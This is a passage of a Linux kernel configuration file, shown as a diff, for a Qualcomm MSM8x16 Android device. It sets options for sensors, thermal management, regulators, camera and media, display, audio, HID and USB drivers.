+CONFIG_MSM_SUSPEND_STATS_FIRST_BUCKET=1000000000 +CONFIG_HWMON=y +# CONFIG_HWMON_VID is not set +# CONFIG_HWMON_DEBUG_CHIP is not set + +# +# Native drivers +# +# CONFIG_SENSORS_AD7314 is not set +# CONFIG_SENSORS_AD7414 is not set +# CONFIG_SENSORS_AD7418 is not set +# CONFIG_SENSORS_ADCXX is not set +# CONFIG_SENSORS_ADM1021 is not set +# CONFIG_SENSORS_ADM1025 is not set +# CONFIG_SENSORS_ADM1026 is not set +# CONFIG_SENSORS_ADM1029 is not set +# CONFIG_SENSORS_ADM1031 is not set +# CONFIG_SENSORS_ADM9240 is not set +# CONFIG_SENSORS_ADT7310 is not set +# CONFIG_SENSORS_ADT7410 is not set +# CONFIG_SENSORS_ADT7411 is not set +# CONFIG_SENSORS_ADT7462 is not set +# CONFIG_SENSORS_ADT7470 is not set +# CONFIG_SENSORS_ADT7475 is not set +# CONFIG_SENSORS_ASC7621 is not set +# CONFIG_SENSORS_ATXP1 is not set +# CONFIG_SENSORS_BOOST_DYNAMIC_CONTROLLER is not set +# CONFIG_SENSORS_DS620 is not set +# CONFIG_SENSORS_DS1621 is not set +# CONFIG_SENSORS_F71805F is not set +# CONFIG_SENSORS_F71882FG is not set +# CONFIG_SENSORS_F75375S is not set +# CONFIG_SENSORS_G760A is not set +# CONFIG_SENSORS_GL518SM is not set +# CONFIG_SENSORS_GL520SM is not set +# CONFIG_SENSORS_GPIO_FAN is not set +# CONFIG_SENSORS_HIH6130 is not set +# CONFIG_SENSORS_IT87 is not set +# CONFIG_SENSORS_JC42 is not set +# CONFIG_SENSORS_LINEAGE is not set +# CONFIG_SENSORS_LM63 is not set +# CONFIG_SENSORS_LM70 is not set +# CONFIG_SENSORS_LM73 is not set +# CONFIG_SENSORS_LM75 is not set +# CONFIG_SENSORS_LM77 is not set +# CONFIG_SENSORS_LM78 is not set +# CONFIG_SENSORS_LM80 is not set +# CONFIG_SENSORS_LM83 is not set +# CONFIG_SENSORS_LM85 is not set +# CONFIG_SENSORS_LM87 is not set +# CONFIG_SENSORS_LM90 is not set +# CONFIG_SENSORS_LM92 is not set +# CONFIG_SENSORS_LM93 is not set +# CONFIG_SENSORS_LTC4151 is not set +# CONFIG_SENSORS_LTC4215 is not set +# CONFIG_SENSORS_LTC4245 is not set +# CONFIG_SENSORS_LTC4261 is not set +# CONFIG_SENSORS_LM95234 is not set +# CONFIG_SENSORS_LM95241 is not set +# CONFIG_SENSORS_LM95245 is not set +# CONFIG_SENSORS_MAX1111 is not set +# CONFIG_SENSORS_MAX16065 is not set +# CONFIG_SENSORS_MAX1619 is not set +# CONFIG_SENSORS_MAX1668 is not set +# CONFIG_SENSORS_MAX197 is not set +# CONFIG_SENSORS_MAX6639 is not set +# CONFIG_SENSORS_MAX6642 is not set +# CONFIG_SENSORS_MAX6650 is not set +# CONFIG_SENSORS_MAX6697 is not set +# CONFIG_SENSORS_MCP3021 is not set +# CONFIG_SENSORS_NCT6775 is not set +# CONFIG_SENSORS_NTC_THERMISTOR is not set +# CONFIG_SENSORS_EPM_ADC is not set +CONFIG_SENSORS_QPNP_ADC_VOLTAGE=y +CONFIG_SENSORS_QPNP_ADC_CURRENT=y +CONFIG_SENSORS_QPNP_CURRENT_MONITOR=y +# CONFIG_SENSORS_PC87360 is not set +# CONFIG_SENSORS_PC87427 is not set +# CONFIG_SENSORS_PCF8591 is not set +# CONFIG_PMBUS is not set +# CONFIG_SENSORS_SHT15 is not set +# CONFIG_SENSORS_SHT21 is not set +# CONFIG_SENSORS_SMM665 is not set +# CONFIG_SENSORS_DME1737 is not set +# CONFIG_SENSORS_EMC1403 is not set +# CONFIG_SENSORS_EMC2103 is not set +# CONFIG_SENSORS_EMC6W201 is not set +# CONFIG_SENSORS_SMSC47M1 is not set +# CONFIG_SENSORS_SMSC47M192 is not set +# CONFIG_SENSORS_SMSC47B397 is not set +# CONFIG_SENSORS_SCH56XX_COMMON is not set +# CONFIG_SENSORS_ADS1015 is not set +# CONFIG_SENSORS_ADS7828 is not set +# CONFIG_SENSORS_ADS7871 is not set +# CONFIG_SENSORS_AMC6821 is not set +# CONFIG_SENSORS_INA209 is not set +# CONFIG_SENSORS_INA2XX is not set +# CONFIG_SENSORS_THMC50 is not set +# CONFIG_SENSORS_TMP102 is not set +# CONFIG_SENSORS_TMP401 is not set +# CONFIG_SENSORS_TMP421 is not set +# CONFIG_SENSORS_VT1211 is not set +# CONFIG_SENSORS_W83781D is not set +# CONFIG_SENSORS_W83791D is not set +# CONFIG_SENSORS_W83792D is not set +# CONFIG_SENSORS_W83793 is not set +# CONFIG_SENSORS_W83795 is not set +# CONFIG_SENSORS_W83L785TS is not set +# CONFIG_SENSORS_W83L786NG is not set +# CONFIG_SENSORS_W83627HF is not set +# CONFIG_SENSORS_W83627EHF is not set +CONFIG_THERMAL=y +CONFIG_THERMAL_HWMON=y +CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y +# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set +# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set +# CONFIG_THERMAL_GOV_FAIR_SHARE is not set +CONFIG_THERMAL_GOV_STEP_WISE=y +# CONFIG_THERMAL_GOV_USER_SPACE is not set +# CONFIG_CPU_THERMAL is not set +# CONFIG_THERMAL_EMULATION is not set +CONFIG_THERMAL_TSENS8974=y +# CONFIG_LIMITS_MONITOR is not set +CONFIG_THERMAL_MONITOR=y +CONFIG_THERMAL_QPNP=y +CONFIG_THERMAL_QPNP_ADC_TM=y +# CONFIG_WATCHDOG is not set +CONFIG_SSB_POSSIBLE=y + +# +# Sonics Silicon Backplane +# +# CONFIG_SSB is not set +CONFIG_BCMA_POSSIBLE=y + +# +# Broadcom specific AMBA +# +# CONFIG_BCMA is not set + +# +# Multifunction device drivers +# +CONFIG_MFD_CORE=y +# CONFIG_MFD_AS3711 is not set +# CONFIG_PMIC_ADP5520 is not set +# CONFIG_MFD_AAT2870_CORE is not set +# CONFIG_MFD_CROS_EC is not set +# CONFIG_MFD_ASIC3 is not set +# CONFIG_PMIC_DA903X is not set +# CONFIG_MFD_DA9052_SPI is not set +# CONFIG_MFD_DA9052_I2C is not set +# CONFIG_MFD_DA9055 is not set +# CONFIG_MFD_MC13XXX_SPI is not set +# CONFIG_MFD_MC13XXX_I2C is not set +# CONFIG_HTC_EGPIO is not set +# CONFIG_HTC_PASIC3 is not set +# CONFIG_HTC_I2CPLD is not set +# CONFIG_MFD_88PM800 is not set +# CONFIG_MFD_88PM805 is not set +# CONFIG_MFD_88PM860X is not set +# CONFIG_MFD_MAX77686 is not set +# CONFIG_MFD_MAX77693 is not set +# CONFIG_MFD_MAX8907 is not set +# CONFIG_MFD_MAX8925 is not set +# CONFIG_MFD_MAX8997 is not set +# CONFIG_MFD_MAX8998 is not set +# CONFIG_EZX_PCAP is not set +# CONFIG_MFD_VIPERBOARD is not set +# CONFIG_MFD_RETU is not set +# CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_RC5T583 is not set +# CONFIG_MFD_SEC_CORE is not set +# CONFIG_MFD_SI476X_CORE is not set +# CONFIG_MFD_SM501 is not set +# CONFIG_MFD_SMSC is not set +# CONFIG_ABX500_CORE is not set +# CONFIG_MFD_STMPE is not set +# CONFIG_MFD_SYSCON is not set +# CONFIG_MFD_TI_AM335X_TSCADC is not set +# CONFIG_MFD_LP8788 is not set +# CONFIG_MFD_PALMAS is not set +# CONFIG_TPS6105X is not set +# CONFIG_TPS65010 is not set +# CONFIG_TPS6507X is not set +# CONFIG_MFD_TPS65090 is not set +# CONFIG_MFD_TPS65217 is not set +# CONFIG_MFD_TPS6586X is not set +# CONFIG_MFD_TPS65910 is not set +# CONFIG_MFD_TPS65912 is not set +# CONFIG_MFD_TPS65912_I2C is not set +# CONFIG_MFD_TPS65912_SPI is not set +# CONFIG_MFD_TPS80031 is not set +# CONFIG_TWL4030_CORE is not set +# CONFIG_TWL6040_CORE is not set +# CONFIG_MFD_WL1273_CORE is not set +# CONFIG_MFD_LM3533 is not set +# CONFIG_MFD_TC3589X is not set +# CONFIG_MFD_TMIO is not set +# CONFIG_MFD_T7L66XB is not set +# CONFIG_MFD_TC6387XB is not set +# CONFIG_MFD_TC6393XB is not set +# CONFIG_MFD_ARIZONA_I2C is not set +# CONFIG_MFD_ARIZONA_SPI is not set +# CONFIG_MFD_WM8400 is not set +# CONFIG_MFD_WM831X_I2C is not set +# CONFIG_MFD_WM831X_SPI is not set +# CONFIG_MFD_WM8350_I2C is not set +# CONFIG_MFD_WM8994 is not set +# CONFIG_WCD9304_CODEC is not set +# CONFIG_WCD9310_CODEC is not set +# CONFIG_WCD9320_CODEC is not set +# CONFIG_WCD9306_CODEC is not set +# CONFIG_WCD9330_CODEC is not set +CONFIG_WCD9335_CODEC=y +CONFIG_REGULATOR=y +# CONFIG_REGULATOR_DEBUG is not set +# CONFIG_REGULATOR_DUMMY is not set +CONFIG_REGULATOR_FIXED_VOLTAGE=y +# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set +# CONFIG_REGULATOR_USERSPACE_CONSUMER is not set +CONFIG_REGULATOR_PROXY_CONSUMER=y +# CONFIG_REGULATOR_GPIO is not set +# CONFIG_REGULATOR_AD5398 is not set +CONFIG_REGULATOR_FAN53555=y +CONFIG_REGULATOR_MEM_ACC=y +# CONFIG_REGULATOR_ISL6271A is not set +# CONFIG_REGULATOR_MAX1586 is not set +# CONFIG_REGULATOR_MAX8649 is not set +# CONFIG_REGULATOR_MAX8660 is not set +# CONFIG_REGULATOR_MAX8952 is not set +# CONFIG_REGULATOR_MAX8973 is not set +CONFIG_REGULATOR_ONSEMI_NCP6335D=y +# CONFIG_REGULATOR_LP3971 is not set +# CONFIG_REGULATOR_LP3972 is not set +# CONFIG_REGULATOR_LP872X is not set +# CONFIG_REGULATOR_LP8755 is not set +# CONFIG_REGULATOR_TPS51632 is not set +# CONFIG_REGULATOR_TPS62360 is not set +# CONFIG_REGULATOR_TPS65023 is not set +# CONFIG_REGULATOR_TPS6507X is not set +# CONFIG_REGULATOR_TPS6524X is not set +CONFIG_REGULATOR_TPS65132=y +# CONFIG_REGULATOR_TPS65132_YL is not set +CONFIG_REGULATOR_STUB=y +CONFIG_REGULATOR_RPM_SMD=y +CONFIG_REGULATOR_QPNP=y +CONFIG_REGULATOR_SPM=y +CONFIG_REGULATOR_CPR=y +CONFIG_MEDIA_SUPPORT=y + +# +# Multimedia core support +# +CONFIG_MEDIA_CAMERA_SUPPORT=y +# CONFIG_MEDIA_ANALOG_TV_SUPPORT is not set +# CONFIG_MEDIA_DIGITAL_TV_SUPPORT is not set +CONFIG_MEDIA_RADIO_SUPPORT=y +# CONFIG_MEDIA_RC_SUPPORT is not set +CONFIG_MEDIA_CONTROLLER=y +CONFIG_VIDEO_DEV=y +CONFIG_VIDEO_V4L2_SUBDEV_API=y +CONFIG_VIDEO_V4L2=y +# CONFIG_VIDEO_ADV_DEBUG is not set +# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set +CONFIG_VIDEOBUF2_CORE=y +CONFIG_VIDEOBUF2_MEMOPS=y +CONFIG_VIDEOBUF2_DMA_CONTIG=y +CONFIG_VIDEOBUF2_VMALLOC=y +CONFIG_VIDEOBUF2_DMA_SG=y +CONFIG_VIDEOBUF2_MSM_MEM=y +# CONFIG_VIDEO_V4L2_INT_DEVICE is not set +# CONFIG_TTPCI_EEPROM is not set + +# +# Media drivers +# +# CONFIG_MEDIA_USB_SUPPORT is not set +CONFIG_V4L_PLATFORM_DRIVERS=y +# CONFIG_VIDEO_TIMBERDALE is not set +# CONFIG_SOC_CAMERA is not set +# CONFIG_V4L_MEM2MEM_DRIVERS is not set +# CONFIG_V4L_TEST_DRIVERS is not set + +# +# Qualcomm MSM Camera And Video +# +# CONFIG_MSM_CAMERA is not set +CONFIG_MSMB_CAMERA=y +# CONFIG_MSMB_CAMERA_DEBUG is not set +CONFIG_MSM_CAMERA_SENSOR=y +CONFIG_MSM_CPP=y +CONFIG_MSM_CCI=y +# CONFIG_MSM_CSI20_HEADER is not set +# CONFIG_MSM_CSI22_HEADER is not set +CONFIG_MSM_CSI30_HEADER=y +# CONFIG_MSM_CSI31_HEADER is not set +CONFIG_MSM_CSIPHY=y +CONFIG_MSM_CSID=y +CONFIG_MSM_EEPROM=y +CONFIG_MSM_ISPIF=y +# CONFIG_MSM_ISPIF_V1 is not set +# CONFIG_IMX134 is not set +# CONFIG_IMX132 is not set +# CONFIG_OV9724 is not set +# CONFIG_HI256 is not set +# CONFIG_OV5648 is not set +# CONFIG_MT9M114 is not set +# CONFIG_OV5645 is not set +# CONFIG_OV7695 is not set +# CONFIG_SP1628 is not set +# CONFIG_GC0339 is not set +# CONFIG_OV8825 is not set +# CONFIG_OV8865 is not set +# CONFIG_s5k4e1 is not set +# CONFIG_OV12830 is not set +# CONFIG_MSM_V4L2_VIDEO_OVERLAY_DEVICE is not set +CONFIG_MSMB_JPEG=y +CONFIG_MSM_VIDC_V4L2=y +# CONFIG_MSM_VIDC_VMEM is not set +# CONFIG_MSM_WFD is not set +# CONFIG_TSPP is not set +# CONFIG_CI_BRIDGE_SPI is not set +# CONFIG_MSM_VPU is not set + +# +# Supported MMC/SDIO adapters +# +CONFIG_RADIO_ADAPTERS=y +# CONFIG_RADIO_SI470X is not set +# CONFIG_USB_MR800 is not set +# CONFIG_USB_DSBR is not set +# CONFIG_RADIO_SHARK is not set +# CONFIG_RADIO_SHARK2 is not set +# CONFIG_I2C_SI4713 is not set +# CONFIG_RADIO_SI4713 is not set +# CONFIG_USB_KEENE is not set +# CONFIG_USB_MA901 is not set +# CONFIG_RADIO_TEA5764 is not set +# CONFIG_RADIO_SAA7706H is not set +# CONFIG_RADIO_TEF6862 is not set +# CONFIG_RADIO_WL1273 is not set + +# +# Texas Instruments WL128x FM driver (ST based) +# +CONFIG_RADIO_IRIS=y +CONFIG_RADIO_IRIS_TRANSPORT=y +# CONFIG_RADIO_SILABS is not set +# CONFIG_CYPRESS_FIRMWARE is not set + +# +# Media ancillary drivers (tuners, sensors, i2c, frontends) +# +CONFIG_MEDIA_SUBDRV_AUTOSELECT=y + +# +# Audio decoders, processors and mixers +# + +# +# RDS decoders +# + +# +# Video decoders +# + +# +# Video and audio decoders +# + +# +# Video encoders +# + +# +# Camera sensor devices +# + +# +# Flash devices +# + +# +# Video improvement chips +# + +# +# Miscelaneous helper chips +# + +# +# Sensors used on soc_camera driver +# +CONFIG_MEDIA_TUNER=y +CONFIG_MEDIA_TUNER_SIMPLE=y +CONFIG_MEDIA_TUNER_TDA8290=y +CONFIG_MEDIA_TUNER_TDA827X=y +CONFIG_MEDIA_TUNER_TDA18271=y +CONFIG_MEDIA_TUNER_TDA9887=y +CONFIG_MEDIA_TUNER_TEA5761=y +CONFIG_MEDIA_TUNER_TEA5767=y +CONFIG_MEDIA_TUNER_MT20XX=y +CONFIG_MEDIA_TUNER_XC2028=y +CONFIG_MEDIA_TUNER_XC5000=y +CONFIG_MEDIA_TUNER_XC4000=y +CONFIG_MEDIA_TUNER_MC44S803=y + +# +# Tools to develop new frontends +# +# CONFIG_DVB_DUMMY_FE is not set + +# +# Graphics support +# +# CONFIG_DRM is not set +CONFIG_MSM_KGSL=y +# CONFIG_MSM_KGSL_CFF_DUMP is not set +CONFIG_MSM_ADRENO_DEFAULT_GOVERNOR="msm-adreno-tz" +CONFIG_KGSL_PER_PROCESS_PAGE_TABLE=y +# CONFIG_VGASTATE is not set +# CONFIG_VIDEO_OUTPUT_CONTROL is not set +CONFIG_FB=y +# CONFIG_FIRMWARE_EDID is not set +# CONFIG_FB_DDC is not set +# CONFIG_FB_BOOT_VESA_SUPPORT is not set +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set +CONFIG_FB_SYS_FILLRECT=y +CONFIG_FB_SYS_COPYAREA=y +CONFIG_FB_SYS_IMAGEBLIT=y +# CONFIG_FB_FOREIGN_ENDIAN is not set +CONFIG_FB_SYS_FOPS=y +# CONFIG_FB_SVGALIB is not set +# CONFIG_FB_MACMODES is not set +# CONFIG_FB_MODE_HELPERS is not set +# CONFIG_FB_TILEBLITTING is not set + +# +# Frame buffer hardware drivers +# +# CONFIG_FB_S1D13XXX is not set +# CONFIG_FB_TMIO is not set +# CONFIG_FB_SMSCUFX is not set +# CONFIG_FB_UDL is not set +# CONFIG_FB_GOLDFISH is not set +CONFIG_FB_VIRTUAL=y +# CONFIG_FB_METRONOME is not set +# CONFIG_FB_BROADSHEET is not set +# CONFIG_FB_AUO_K190X is not set +# CONFIG_FB_SIMPLE is not set +# CONFIG_MSM_VIDC_CONTENT_PROTECTION is not set +CONFIG_FB_MSM=y +# CONFIG_FB_MSM_BACKLIGHT is not set +# CONFIG_FB_MSM_LCDC_HW is not set +# CONFIG_FB_MSM_TRIPLE_BUFFER is not set +# CONFIG_FB_MSM_MDP_HW is not set +CONFIG_FB_MSM_MDSS_COMMON=y +# CONFIG_FB_MSM_MDP22 is not set +# CONFIG_FB_MSM_MDP30 is not set +# CONFIG_FB_MSM_MDP31 is not set +# CONFIG_FB_MSM_MDP40 is not set +CONFIG_FB_MSM_MDSS=y +# CONFIG_FB_MSM_MDP_NONE is not set +# CONFIG_FB_MSM_MDDI is not set +# CONFIG_FB_MSM_MIPI_DSI is not set +# CONFIG_FB_MSM_EXTMDDI is not set +# CONFIG_FB_MSM_MDDI_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_AUTO_DETECT is not set +CONFIG_FB_MSM_LVDS_CHIMEI_WXGA_PANEL=y +# CONFIG_FB_MSM_LVDS_FRC_FHD_PANEL is not set +# CONFIG_FB_MSM_MIPI_PANEL_DETECT is not set +# CONFIG_FB_MSM_MDDI_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_MIPI_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LVDS_MIPI_PANEL_DETECT is not set +# CONFIG_FB_MSM_MDDI_TOSHIBA_VGA is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WSVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WUXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_NOVATEK_VIDEO_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NOVATEK_CMD_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_ORISE_VIDEO_720P_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_ORISE_CMD_720P_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_RENESAS_VIDEO_FWVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_RENESAS_CMD_FWVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_CHIMEI_WXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_CHIMEI_WUXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_TRULY_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35510_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35510_CMD_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35516_VIDEO_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35516_CMD_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_SIMULATOR_VIDEO_PANEL is not set +# CONFIG_FB_MSM_PANEL_NONE is not set +# CONFIG_FB_MSM_HDMI_COMMON is not set +# CONFIG_FB_MSM_HDMI_3D is not set +# CONFIG_FB_MSM_EBI2_PANEL_DETECT is not set +# CONFIG_FB_MSM_QPIC_ILI_QVGA_PANEL is not set +# CONFIG_FB_MSM_QPIC_PANEL_DETECT is not set +CONFIG_FB_MSM_MDSS_WRITEBACK=y +# CONFIG_FB_MSM_MDSS_HDMI_PANEL is not set +# CONFIG_FB_MSM_MDSS_DSI_CTRL_STATUS is not set +# CONFIG_FB_MSM_MDSS_EDP_PANEL is not set +# CONFIG_FB_MSM_MDSS_MDP3 is not set +CONFIG_FB_MSM_MDSS_KCAL_CTRL=y +# CONFIG_EXYNOS_VIDEO is not set +CONFIG_BACKLIGHT_LCD_SUPPORT=y +# CONFIG_LCD_CLASS_DEVICE is not set +CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_GENERIC is not set +# CONFIG_BACKLIGHT_PWM is not set +# CONFIG_BACKLIGHT_ADP8860 is not set +# CONFIG_BACKLIGHT_ADP8870 is not set +# CONFIG_BACKLIGHT_LM3630 is not set +# CONFIG_BACKLIGHT_LM3639 is not set +# CONFIG_BACKLIGHT_LP855X is not set +# CONFIG_ADF is not set +# CONFIG_LOGO is not set +# CONFIG_FB_SSD1307 is not set +CONFIG_SOUND=y +# CONFIG_SOUND_OSS_CORE is not set +CONFIG_SND=y +CONFIG_SND_TIMER=y +CONFIG_SND_PCM=y +CONFIG_SND_HWDEP=y +CONFIG_SND_RAWMIDI=y +CONFIG_SND_COMPRESS_OFFLOAD=y +CONFIG_SND_JACK=y +# CONFIG_SND_SEQUENCER is not set +# CONFIG_SND_MIXER_OSS is not set +# CONFIG_SND_PCM_OSS is not set +# CONFIG_SND_HRTIMER is not set +CONFIG_SND_DYNAMIC_MINORS=y +CONFIG_SND_SUPPORT_OLD_API=y +CONFIG_SND_VERBOSE_PROCFS=y +# CONFIG_SND_VERBOSE_PRINTK is not set +# CONFIG_SND_DEBUG is not set +# CONFIG_SND_RAWMIDI_SEQ is not set +# CONFIG_SND_OPL3_LIB_SEQ is not set +# CONFIG_SND_OPL4_LIB_SEQ is not set +# CONFIG_SND_SBAWE_SEQ is not set +# CONFIG_SND_EMU10K1_SEQ is not set +CONFIG_SND_DRIVERS=y +# CONFIG_SND_DUMMY is not set +# CONFIG_SND_ALOOP is not set +# CONFIG_SND_MTPAV is not set +# CONFIG_SND_SERIAL_U16550 is not set +# CONFIG_SND_MPU401 is not set +CONFIG_SND_ARM=y +CONFIG_SND_SPI=y +CONFIG_SND_USB=y +CONFIG_SND_USB_AUDIO=y +# CONFIG_SND_USB_UA101 is not set +# CONFIG_SND_USB_CAIAQ is not set +# CONFIG_SND_USB_6FIRE is not set +CONFIG_SND_SOC=y +# CONFIG_SND_ATMEL_SOC is not set +# CONFIG_SND_DESIGNWARE_I2S is not set + +# +# MSM SoC Audio support +# +CONFIG_SND_SOC_MSM_HOSTLESS_PCM=y +CONFIG_SND_SOC_MSM_QDSP6V2_INTF=y +# CONFIG_SND_SOC_QDSP6 is not set +CONFIG_SND_SOC_QDSP6V2=y +# CONFIG_AUDIO_OCMEM is not set +CONFIG_DOLBY_DAP=y +# CONFIG_DTS_EAGLE is not set +CONFIG_DOLBY_DS2=y +CONFIG_DTS_SRS_TM=y +CONFIG_QTI_PP=y +CONFIG_SND_SOC_CPE=y +CONFIG_SND_SOC_MSM8X16=y +CONFIG_SND_SOC_I2C_AND_SPI=y +# CONFIG_SND_SOC_ALL_CODECS is not set +CONFIG_SND_SOC_WSA881X=y +CONFIG_SND_SOC_MSM8X16_WCD=y +CONFIG_SND_SOC_WCD_CPE=y +CONFIG_AUDIO_EXT_CLK=y +CONFIG_SND_SOC_WCD_MBHC=y +CONFIG_SND_SOC_MSM_STUB=y +CONFIG_SOUND_CONTROL=y +# CONFIG_SND_SIMPLE_CARD is not set +# CONFIG_SOUND_PRIME is not set + +# +# HID support +# +CONFIG_HID=y +# CONFIG_HID_BATTERY_STRENGTH is not set +CONFIG_HIDRAW=y +CONFIG_UHID=y +CONFIG_HID_GENERIC=y + +# +# Special HID drivers +# +CONFIG_HID_A4TECH=y +CONFIG_HID_ACRUX=y +CONFIG_HID_ACRUX_FF=y +CONFIG_HID_APPLE=y +# CONFIG_HID_APPLEIR is not set +# CONFIG_HID_AUREAL is not set +CONFIG_HID_BELKIN=y +CONFIG_HID_CHERRY=y +CONFIG_HID_CHICONY=y +CONFIG_HID_PRODIKEYS=y +CONFIG_HID_CYPRESS=y +CONFIG_HID_DRAGONRISE=y +CONFIG_DRAGONRISE_FF=y +CONFIG_HID_EMS_FF=y +CONFIG_HID_ELECOM=y +CONFIG_HID_EZKEY=y +CONFIG_HID_FIIO=y +CONFIG_HID_HOLTEK=y +# CONFIG_HOLTEK_FF is not set +CONFIG_HID_KEYTOUCH=y +CONFIG_HID_KYE=y +CONFIG_HID_UCLOGIC=y +CONFIG_HID_WALTOP=y +CONFIG_HID_GYRATION=y +# CONFIG_HID_ICADE is not set +CONFIG_HID_TWINHAN=y +CONFIG_HID_KENSINGTON=y +CONFIG_HID_LCPOWER=y +# CONFIG_HID_LENOVO_TPKBD is not set +CONFIG_HID_LOGITECH=y +CONFIG_HID_LOGITECH_DJ=y +CONFIG_LOGITECH_FF=y +CONFIG_LOGIRUMBLEPAD2_FF=y +CONFIG_LOGIG940_FF=y +CONFIG_LOGIWHEELS_FF=y +CONFIG_HID_MAGICMOUSE=y +CONFIG_HID_MICROSOFT=y +CONFIG_HID_MONTEREY=y +CONFIG_HID_MULTITOUCH=y +CONFIG_HID_NTRIG=y +CONFIG_HID_ORTEK=y +CONFIG_HID_PANTHERLORD=y +CONFIG_PANTHERLORD_FF=y +CONFIG_HID_PETALYNX=y +CONFIG_HID_PICOLCD=y +# CONFIG_HID_PICOLCD_FB is not set +# CONFIG_HID_PICOLCD_BACKLIGHT is not set +# CONFIG_HID_PICOLCD_LEDS is not set +CONFIG_HID_PRIMAX=y +# CONFIG_HID_PS3REMOTE is not set +CONFIG_HID_ROCCAT=y +CONFIG_HID_SAITEK=y +CONFIG_HID_SAMSUNG=y +CONFIG_HID_SONY=y +CONFIG_HID_SPEEDLINK=y +# CONFIG_HID_STEELSERIES is not set +CONFIG_HID_SUNPLUS=y +CONFIG_HID_GREENASIA=y +CONFIG_GREENASIA_FF=y +CONFIG_HID_SMARTJOYPLUS=y +CONFIG_SMARTJOYPLUS_FF=y +CONFIG_HID_TIVO=y +CONFIG_HID_TOPSEED=y +# CONFIG_HID_THINGM is not set +CONFIG_HID_THRUSTMASTER=y +# CONFIG_THRUSTMASTER_FF is not set +CONFIG_HID_WACOM=y +CONFIG_HID_WIIMOTE=y +CONFIG_HID_WIIMOTE_EXT=y +CONFIG_HID_ZEROPLUS=y +# CONFIG_ZEROPLUS_FF is not set +CONFIG_HID_ZYDACRON=y +# CONFIG_HID_SENSOR_HUB is not set + +# +# USB HID support +# +CONFIG_USB_HID=y +# CONFIG_HID_PID is not set +CONFIG_USB_HIDDEV=y + +# +# I2C HID support +# +# CONFIG_I2C_HID is not set +CONFIG_USB_SUPPORT=y +CONFIG_USB_COMMON=y +CONFIG_USB_ARCH_HAS_HCD=y +CONFIG_USB=y +# CONFIG_USB_DEBUG is not set +CONFIG_USB_ANNOUNCE_NEW_DEVICES=y + +# +# Miscellaneous USB options +# +CONFIG_USB_DEFAULT_PERSIST=y +# CONFIG_USB_DYNAMIC_MINORS is not set +# CONFIG_USB_OTG is not set +# CONFIG_USB_OTG_WHITELIST is not set +# CONFIG_USB_OTG_BLACKLIST_HUB is not set +CONFIG_USB_MON=y +# CONFIG_USB_WUSB_CBAF is not set + +# +# USB Host Controller Drivers +# +# CONFIG_USB_C67X00_HCD is not set +# CONFIG_USB_XHCI_HCD is not set +CONFIG_USB_EHCI_HCD=y +CONFIG_USB_EHCI_EHSET=y +CONFIG_USB_EHCI_ROOT_HUB_TT=y +CONFIG_USB_EHCI_TT_NEWSCHED=y +CONFIG_USB_EHCI_MSM=y +# CONFIG_USB_EHCI_MSM_HSIC is not set +CONFIG_USB_EHCI_MSM_UICC=y +# CONFIG_USB_EHCI_HCD_PLATFORM is not set +# CONFIG_USB_OXU210HP_HCD is not set +# CONFIG_USB_ISP116X_HCD is not set +# CONFIG_USB_ISP1760_HCD is not set +# CONFIG_USB_ISP1362_HCD is not set +# CONFIG_USB_OHCI_HCD is not set +# CONFIG_USB_SL811_HCD is not set +# CONFIG_USB_R8A66597_HCD is not set +CONFIG_USB_ICE40_HCD=y +# CONFIG_USB_MUSB_HDRC is not set +# CONFIG_USB_RENESAS_USBHS is not set + +# +# USB Device Class drivers +# +CONFIG_USB_ACM=y +# CONFIG_USB_PRINTER is not set +# CONFIG_USB_WDM is not set +# CONFIG_USB_TMC is not set +CONFIG_USB_CCID_BRIDGE=y + +# +# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may +# + +# +# also be needed; see USB_STORAGE Help for more info +# +CONFIG_USB_STORAGE=y +# CONFIG_USB_STORAGE_DEBUG is not set +# CONFIG_USB_STORAGE_REALTEK is not set +CONFIG_USB_STORAGE_DATAFAB=y +CONFIG_USB_STORAGE_FREECOM=y +CONFIG_USB_STORAGE_ISD200=y +CONFIG_USB_STORAGE_USBAT=y +CONFIG_USB_STORAGE_SDDR09=y +CONFIG_USB_STORAGE_SDDR55=y +CONFIG_USB_STORAGE_JUMPSHOT=y +CONFIG_USB_STORAGE_ALAUDA=y +CONFIG_USB_STORAGE_ONETOUCH=y +CONFIG_USB_STORAGE_KARMA=y +CONFIG_USB_STORAGE_CYPRESS_ATACB=y +# CONFIG_USB_STORAGE_ENE_UB6250 is not set + +# +# USB Imaging devices +# +# CONFIG_USB_MDC800 is not set +# CONFIG_USB_MICROTEK is not set +# CONFIG_USB_DWC3 is not set +# 